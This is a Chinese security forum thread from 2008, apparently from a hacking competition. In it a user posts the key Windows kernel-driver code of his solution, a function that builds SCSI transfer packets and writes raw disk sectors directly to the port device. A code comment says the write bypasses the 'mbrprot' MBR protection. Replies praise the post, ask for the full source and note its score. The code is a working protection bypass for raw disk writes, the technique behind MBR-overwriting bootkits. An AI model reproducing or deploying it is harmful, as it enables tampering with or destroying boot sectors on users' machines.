首页
论坛
课程
招聘
[原创]大牛们都发代码了,我也来凑凑热闹吧 - 第一题
2008-12-19 22:04 42253

[原创]大牛们都发代码了,我也来凑凑热闹吧 - 第一题

2008-12-19 22:04
42253
大牛们都发代码了,我也来凑凑热闹吧~
3,4,5题没什么意思了,发下第一题的关键部分吧~
思路比较常规,向atapi发srb,但是过不了所谓的第二层保护。其实最早的时候是准备还原改过的DeviceObject的,代码很简单,后来以为这样做不符合题意,就换了这个复杂的代码...没想到简单的代码反而更有效,呵呵~
NTSTATUS
DiWriteDisk(IN ULONG StartSector,
	IN PVOID Buffer,
	IN ULONG Length)
{
	NTSTATUS status;
	UNICODE_STRING DriverName;
	PDRIVER_OBJECT DriverObject;
	PDEVICE_OBJECT Fdo;
	PDEVICE_OBJECT nextDevObj;
	PDEVICE_OBJECT final;
	PCOMMON_DEVICE_EXTENSION commonExtension;
	PIO_STACK_LOCATION nextSp;
	PTRANSFER_PACKET pkt;
	LARGE_INTEGER startLoc;
	PUCHAR bufPtr;
	KEVENT event;
	PMDL Mdl;

	//
	// Open the device object to receive the IRP
	//

	RtlInitUnicodeString(&DriverName, DISK);

	status = ObReferenceObjectByName(&DriverName,
										OBJ_CASE_INSENSITIVE,
										NULL,
										0,
										*IoDriverObjectType,
										KernelMode,
										NULL,
										&DriverObject);

	if (!NT_SUCCESS(status))
		return status;

	status = DiGetPhysicsDevice(&Fdo, DriverObject);
	if (!NT_SUCCESS(status))
	{
		ObDereferenceObject(DriverObject);
		return status;
	}

	//
	// Lock the buffer
	//

	Mdl = IoAllocateMdl(Buffer, Length, FALSE, TRUE, NULL);
	if (Mdl == NULL) 
	{
		ObDereferenceObject(DriverObject);
		return STATUS_INSUFFICIENT_RESOURCES;
	}
	MmProbeAndLockPages(Mdl, KernelMode, IoReadAccess);
	bufPtr = MmGetMdlVirtualAddress(Mdl);

	//
	// Allocate PKT and initize it
	//

	pkt = ClassPnp_DequeueFreeTransferPacket(Fdo, TRUE);
	if (NULL == pkt)
	{
		ObDereferenceObject(DriverObject);
		MmUnlockPages(Mdl);
		return STATUS_INSUFFICIENT_RESOURCES;
	}
	startLoc.QuadPart = StartSector * 512;
	Mine_SetupReadWriteTransferPacket(pkt,
										bufPtr,
										Length,
										startLoc,
										IRP_MJ_WRITE,
										IRP_NOCACHE | IRP_WRITE_OPERATION | IRP_DEFER_IO_COMPLETION,
										SL_OVERRIDE_VERIFY_VOLUME);

	//
	// Initize some fields in our pkt
	//

	commonExtension = pkt->Fdo->DeviceExtension;
	nextDevObj = commonExtension->LowerDeviceObject;

	IoReuseIrp(pkt->Irp, STATUS_NOT_SUPPORTED);
	nextSp = IoGetNextIrpStackLocation(pkt->Irp);
	nextSp->MajorFunction = IRP_MJ_SCSI;
	nextSp->Parameters.Scsi.Srb = &pkt->Srb;
	pkt->Srb.ScsiStatus = pkt->Srb.SrbStatus = 0;
	pkt->Srb.SenseInfoBufferLength = sizeof(SENSE_DATA);
	pkt->Irp->MdlAddress = Mdl;

	//
	// Prepare our complete event
	//

	KeInitializeEvent(&event, SynchronizationEvent, FALSE);
	IoSetCompletionRoutine(pkt->Irp, DiWriteIoCompletion, &event, TRUE, TRUE, TRUE);

	//
	// Send our TransferPacket directly down, bypass mbrprot
	//

	status = DiGetPortDevice(&final, nextDevObj);
	if (!NT_SUCCESS(status))
		goto Cleanup;
	status = IoCallDriver(final, pkt->Irp);

	if (STATUS_PENDING == status)
		KeWaitForSingleObject(&event, Executive, KernelMode, TRUE, NULL);

	status = pkt->Irp->IoStatus.Status;

Cleanup:
	MmUnlockPages(Mdl);
	IoFreeMdl(Mdl);
	ObDereferenceObject(DriverObject);
	return status;
}

[2022冬季班]《安卓高级研修班(网课)》月薪两万班招生中~

收藏
点赞0
打赏
分享
最新回复 (16)
雪    币: 250
活跃值: 活跃值 (85)
能力值: ( LV12,RANK:450 )
在线值:
发帖
回帖
粉丝
weolar 活跃值 10 2008-12-19 22:44
2
0
能放个完整的不……?
雪    币: 30
活跃值: 活跃值 (10)
能力值: ( LV6,RANK:90 )
在线值:
发帖
回帖
粉丝
Gmxp 活跃值 2 2008-12-19 23:12
3
0
嗯~好的~这里~
上传的附件:
雪    币: 462
活跃值: 活跃值 (981)
能力值: ( LV12,RANK:1010 )
在线值:
发帖
回帖
粉丝
sudami 活跃值 25 2008-12-19 23:17
4
0
小号大牛~
雪    币: 250
活跃值: 活跃值 (85)
能力值: ( LV12,RANK:450 )
在线值:
发帖
回帖
粉丝
weolar 活跃值 10 2008-12-19 23:25
5
0
LZ 多谢了哈~~

网上高手如云,通过这次比赛严重感觉自己的不足,下周开始有时间了一定要好好学习啊!不然严重落后于时代了
雪    币: 30
活跃值: 活跃值 (10)
能力值: ( LV6,RANK:90 )
在线值:
发帖
回帖
粉丝
Gmxp 活跃值 2 2008-12-19 23:49
6
0
嗯,同意,我也要更加努力才行了~
PS:大米真的太谦虚了~
雪    币: 212
活跃值: 活跃值 (28)
能力值: ( LV9,RANK:180 )
在线值:
发帖
回帖
粉丝
ppanger 活跃值 4 2008-12-20 00:32
7
0
顶一下Gmxp大牛 ^_^
雪    币: 459
活跃值: 活跃值 (84)
能力值: ( LV12,RANK:420 )
在线值:
发帖
回帖
粉丝
qihoocom 活跃值 9 2008-12-20 10:59
8
0
这题你根本也没穿透第二道保护好吧~所以只有60分
雪    币: 291
活跃值: 活跃值 (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
ykoshi 活跃值 2009-6-1 21:07
9
0
强,顶一下。
雪    币: 474
活跃值: 活跃值 (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
feierin 活跃值 2009-6-5 08:42
10
0

人比人气死人
我一个题都不会做
努力ing
雪    币: 244
活跃值: 活跃值 (12)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
dapro 活跃值 2009-7-17 21:02
11
0
看谁对fs的了解够深,谁就牛B!
雪    币: 0
活跃值: 活跃值 (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
mazhenxing 活跃值 2009-7-29 15:34
12
0
来凑个热闹·····
雪    币: 201
活跃值: 活跃值 (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
CyberZeusX 活跃值 2009-8-27 17:04
13
0
这个世界,牛人太多
雪    币: 201
活跃值: 活跃值 (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
jwsqaq 活跃值 2009-9-7 15:10
14
0
凑个热闹的不怎么了解
雪    币: 200
活跃值: 活跃值 (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
barbison 活跃值 2009-10-1 19:12
15
0
强大啊,学习一下。
雪    币: 200
活跃值: 活跃值 (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
氧气 活跃值 2009-10-11 10:27
16
0
一般这种都用什么语音编程?
雪    币: 200
活跃值: 活跃值 (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
骤雨 活跃值 2010-1-1 21:38
17
0
小菜佩服你们!
游客
登录 | 注册 方可回帖
返回